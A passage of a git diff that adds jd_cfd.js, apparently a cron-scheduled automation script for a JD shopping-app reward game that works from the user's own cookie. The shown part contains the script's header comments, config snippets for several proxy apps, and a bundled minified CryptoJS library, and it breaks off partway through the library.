e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd.js b/jd_cfd.js new file mode 100644 index 0000000..555a3b9 --- /dev/null +++ b/jd_cfd.js @@ -0,0 +1,1432 @@ +/* +京喜财富岛 +根据github@MoPoQAQ 财富岛脚本修改而来。无需京喜token,只需京东cookie即可. +cron 5 8,13,19 * * * jd_cfd.js +更新时间:2021-6-9 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +5 8,13,19 * * * jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "5 8,13,19 * * *" script-path=jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="5 8,13,19 * * *",wake-system=1,timeout=3600,script-path=jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=jd_cfd.js, cronexpr="5 8,13,19 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 